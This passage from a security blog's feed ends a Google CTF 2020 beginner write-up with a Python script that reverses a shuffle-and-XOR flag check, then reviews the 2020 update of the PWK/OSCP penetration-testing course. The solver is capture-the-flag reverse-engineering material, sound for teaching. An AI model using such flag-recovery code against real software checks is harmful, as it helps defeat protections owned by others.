			&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
				&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;chr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;xorCheck&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;printable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
					&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;chr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;xorCheck&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;New: &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		
	&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Found: &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt;	

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;shuffle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;order&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;13&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;14&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;shuffled&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;	&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;order&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;shuffled&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shuffled&lt;/span&gt;
	

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;add32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shuffled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;toBytes&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;binascii&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hexlify&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shuffled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)),&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;leet&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x6763746613371337fee1deaddeadbeef&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;multiple1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;wordify&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;toBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;multiple2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;wordify&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;leet&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	
	&lt;span class=&quot;n&quot;&gt;sum32&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
	
	&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;m&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;sum32&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;multiple1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;multiple2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;96&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;m&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xffffffff&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;96&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;m&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt;	
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sum32&lt;/span&gt;	
	
&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sum32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xaaf986eb34f823d4385f1a8d49b45876&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sum32&lt;/span&gt;
	
&lt;span class=&quot;c1&quot;&gt;# Break large int into 32-bit words
&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;wordify&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;largeInt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;bits&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xffffffff&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;word1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;largeInt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;96&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bits&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;word2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;largeInt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bits&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;word3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;largeInt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bits&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;word4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;largeInt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bits&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;word1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;word2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;word3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;word4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
	
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__name__&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;__main__&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
	&lt;span class=&quot;nb&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;&lt;em&gt;Note: While input is 15 characters, the operations are done using 16 characters. Adding a null-byte to the input remedies this.&lt;/em&gt;&lt;/p&gt;
</description>
        
          <description>&lt;p&gt;&lt;em&gt;A short writeup for one of the first challenges for Google CTF 2020&lt;/em&gt;&lt;/p&gt;

</description>
        
        <pubDate>Mon, 24 Aug 2020 00:00:00 +0000</pubDate>
        <link>https://basicinfosecurity.github.io//blog/Google-CTF-2020-beginner/</link>
        <guid isPermaLink="true">https://basicinfosecurity.github.io//blog/Google-CTF-2020-beginner/</guid>
        
        
      </item>
      
    
      
      <item>
        <title>PWK Update 2020</title>
        <description>&lt;p&gt;&lt;em&gt;If you want to know my experience before the update, see my bloviations &lt;a href=&quot;https://basicinfosecurity.github.io//blog/OSCP-and-Me&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;h3 id=&quot;a-look-back&quot;&gt;A Look Back&lt;/h3&gt;

&lt;p&gt;If you’ve ever read reviews on Offsec’s courses, you’d probably come across several saying they’re &lt;a href=&quot;https://community.infosecinstitute.com/discussion/134006/interesting-article-it-s-time-to-move-on-from-offensive-security-certifications&quot; target=&quot;_blank&quot;&gt;“outdated”&lt;/a&gt;, &lt;a href=&quot;https://www.reddit.com/r/AskNetsec/comments/4uzril/pwkoscp_is_not_for_new_people/&quot; target=&quot;_blank&quot;&gt;“not for new people”&lt;/a&gt;, and they’re the &lt;a href=&quot;https://infosec.exchange/@tnkr/100807652073155230&quot; target=&quot;_blank&quot;&gt;“new CEH”&lt;/a&gt; (The last one might be confusing as CEH is usually recommended as an alternative due to PWK’s difficulty). There have also been allegations of cheating gaining traction around 2018 and culminated to the implementation of &lt;a href=&quot;https://www.csoonline.com/article/3336068/oscp-cheating-allegations-a-reminder-to-verify-hacking-skills-when-hiring.html&quot; target=&quot;_blank&quot;&gt;proctored exams&lt;/a&gt; by early 2019 due to an exam leak.&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/cyb3rsick_ihelped.jpg&quot; /&gt;&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;&lt;em&gt;A disgruntled student&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;While public perception of the courses is positive, it gradually soured. OSCP holders have had a lead over other entry-level certifications. As a comparison, in the US the &lt;a href=&quot;https://www.payscale.com/research/US/Certification=Offensive_Security_Certified_Professional_(OSCP)/Salary&quot; target=&quot;_blank&quot;&gt;average salary&lt;/a&gt; of a pentester with CEH is $91,000 while the average salary for an OSCP holder is $97,000. Granted, CEH holders have an edge and flexibility as the overall average salary across multiple cybersecurity roles is slightly higher than those of OSCP holders, it’s clear if you want to be well-paid as a pentester, you must go for OSCP. Moreover, a new role has become more relevant: the &lt;a href=&quot;https://twitter.com/hashtag/redteam&quot; target=&quot;_blank&quot;&gt;#RedTeamer&lt;/a&gt;. &lt;a href=&quot;https://twitter.com/hashtag/redteam&quot; target=&quot;_blank&quot;&gt;#RedTeam&lt;/a&gt; roles have been on the rise and more course offerings are put out to help fill the skills gap, something PWK lacked at the time. As demand for OSCP holders grew, they also received more scrutiny. The reputation of the courses, the brand Offsec has been building up, and the credibility of cert holders were put into question. The proctored exams were a step in the right direction but there was still a long way to go.&lt;/p&gt;

&lt;h3 id=&quot;gruntling-the-disgruntled&quot;&gt;Gruntling the Disgruntled&lt;/h3&gt;
&lt;p&gt;On February 11, 2020, Offsec announced the update &lt;sup id=&quot;fnref:1&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; &lt;sup id=&quot;fnref:2&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:2&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;. The responses were mixed:&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;
&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/cool2.png&quot; /&gt;
&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;
&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/justenrolled2.png&quot; /&gt;
&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;
&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/wrongo.png&quot; /&gt;
&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/payharder.png&quot; /&gt;
&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;&lt;em&gt;Joe needs to calm down.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The confusion was understandable. The change was communicated poorly; there was little to no announcement of the plans for the update in any of their channels to existing students. Their social accounts made no mention of the upgrade up until the announcement. It could have been posted in the student forums and it would be just as effective.&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/gimmedatawae.jpg&quot; /&gt;
&lt;/p&gt;

&lt;p&gt;Oddly enough, it fits Offsec’s “style”. They’ll dump the details on you and you do the research (#TryHarder indeed, right Joe?). This is not the first time they upgraded their course. To think after several upgrades, they will fumble such important news.&lt;/p&gt;

&lt;h3 id=&quot;the-update&quot;&gt;The Update&lt;/h3&gt;

&lt;p align=&quot;center&quot;&gt;
&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/stanczyk_scaled.jpg&quot; /&gt;
&lt;/p&gt;

&lt;p&gt;If you haven’t read up on the changes yet, you can go through &lt;a href=&quot;https://www.offensive-security.com/offsec/pwk-2020-update/&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://www.offensive-security.com/pwk-oscp/&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;. But if you’re a returning student, what changed?&lt;/p&gt;

&lt;p&gt;&lt;em&gt;In a nutshell:&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Most of the Windows and *nix machines were upgraded.&lt;/li&gt;
  &lt;li&gt;Powershell is now viable and highly significant.&lt;/li&gt;
  &lt;li&gt;Active Directory attacks are now possible.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;Also:&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;The machines increased from ~50 to ~70 (excluding the Sandbox/Poultry network).&lt;/li&gt;
  &lt;li&gt;The Big 4 are no more. There is now the Big 5.&lt;/li&gt;
  &lt;li&gt;Due to infrastructure upgrades, some attacks and methods on legacy technology (e.g. snmp cracking) are no longer possible.&lt;/li&gt;
  &lt;li&gt;The materials are now “new people friendly”.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Kudos to Offsec! They made the labs more engaging and more challenging than ever before. The upgrade to the latest windows version modernized the lab environment, bringing it closer to how corporate environments are designed. This also made powershell more significant and a great boon. In the past, powershell was rare and barely usable. It’s now one of my favorite tools and attack surfaces (&lt;a href=&quot;https://twitter.com/hashtag/redteam&quot; target=&quot;_blank&quot;&gt;#RedTeam&lt;/a&gt;). The upgrades also revived old machines. They have tauted:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;em&gt;… The new version of PWK contains more than double the content and 33% more lab machines.&lt;/em&gt;&lt;sup id=&quot;fnref:3&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:3&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;And they certainly delivered. They toned down the “CTF-style” boxes and revamped the old ones to require new approaches. This needed sharpening of old skills, learning new ones and adding new tools to your arsenal. Combining both revamps and new machines, I’d say there’s easily 50% new machines (practically speaking). Some of the “Big 4” got nerfed. New and more difficult machines usurped their place to form the “Big 5”. As most of the new machines were added to the Public network, there’s more than enough activities there to keep you engaged. Besides these, there are other subtle changes to the labs for students to discover.&lt;/p&gt;

&lt;p&gt;In the past, I didn’t bother much with the web player which came with the videos. Now it’s more easy to play them anywhere, anytime (mobile friendly and supports dark mode!). The course guide is easier to follow but remains challenging: it walks you through the attacks as you perform them in the Sandbox environment (to be honest, I just skimmed through them). Customer support is quicker and better but could be improved. They junked the reservation system. No more waiting for slots to open! Upon registration, you get your labs next day and your materials only a few hours after payment. For inquiries it used to take more than a day just to get a reply, but now you can expect a quicker turnaround.&lt;/p&gt;

&lt;h3 id=&quot;wait&quot;&gt;Wait!&lt;/h3&gt;
&lt;p align=&quot;center&quot;&gt;
&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/beforeyoubuy_oscp.png&quot; /&gt;
&lt;/p&gt;

&lt;p&gt;Should you upgrade? No.&lt;/p&gt;

&lt;p&gt;I thought there could be some wiggle room here but this quote stuck out to me:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;em&gt;There is no requirement from OffSec to update your certification – once an OSCP, always an OSCP.&lt;/em&gt; &lt;sup id=&quot;fnref:4&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:4&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Certainly, there is value in the course but if you’re certified, why bother? The update, while welcome, can be sought elsewhere and this rings more true as courses increase in quality and quantity. It is only important insofar as it keeps the course fresh. If you bought the course shortly before the update, there might be cause to get it. But considering the price is $200, it’s pretty steep especially considering expenses on courses and exams are planned out in advance, something students were clearly unprepared. While the labs offer some &lt;a href=&quot;https://twitter.com/hashtag/redteam&quot; target=&quot;_blank&quot;&gt;#RedTeaming&lt;/a&gt; exercises, you can arguably get better value from other courses for lower fees. Its tempting to think the upgraded PWK is comparable to other &lt;a href=&quot;https://twitter.com/hashtag/redteam&quot; target=&quot;_blank&quot;&gt;#RedTeaming&lt;/a&gt; courses but upon closer look, it’s more of an introductory course.&lt;/p&gt;

&lt;h3 id=&quot;wrapping-up&quot;&gt;Wrapping up&lt;/h3&gt;
&lt;p&gt;While the PWK 2020 experience was enjoyable, I had some reservations. PWK still delivers value just as it always did but it received an upgrade a little late, with competitors already overtaking them (I am purposely leaving out these other courses as I don’t want to get into the comparison). For the student, if you have time and money, maybe this upgrade is for you. If you have both and already certified, save (unless you’re in it for nostalgia). You’re not at a loss by buying the upgrade, but you can do better elsewhere. Your job prospects remain the same regardless if you’re certified through PWB v2.0/PWB v3.0/PWK/PWK 2020. To repeat Offsec, &lt;em&gt;“Once an OSCP, always an OSCP”&lt;/em&gt;. OSCP has already opened many doors to many professionals and carried many further into their careers. I will close with this:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;em&gt;In recent weeks I have been reading comments online about the Penetration Testing with Kali Linux (PWK) course and OSCP exam taking a lot of flak for being “tool old” and using “outdated exploits that don’t even work anymore.”… But that is beside the point. The PWK and OSCP exam are all about teaching you how to think, solve problems, persevere, and develop a pentesting methodology that works for you.&lt;/em&gt; &lt;sup id=&quot;fnref:5&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:5&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:1&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;&lt;a href=&quot;https://twitter.com/offsectraining/status/1227242809805066240&quot; target=&quot;_blank&quot;&gt;@offsectraining (Offensive Security). “So…you know that PWK update everyone’s been asking for? IT’S HERE! We’ve overhauled the prep course for the OSCP exam, adding more than 2x the content and 33% more lab machines. Get info plus FAQs in this blog post: https://hubs.ly/H0mZzFL0” Twitter, 11 Feb. 2020&lt;/a&gt; &lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:2&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;&lt;a href=&quot;https://www.facebook.com/offsec/photos/a.1005384106165595/2760935590610429/&quot; target=&quot;_blank&quot;&gt;Offensive Security. So…you know that PWK update everyone’s…. Facebook, 11 Feb. 2020&lt;/a&gt; &lt;a href=&quot;#fnref:2&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:3&quot; role=&quot;doc-endnote&quot;&gt;
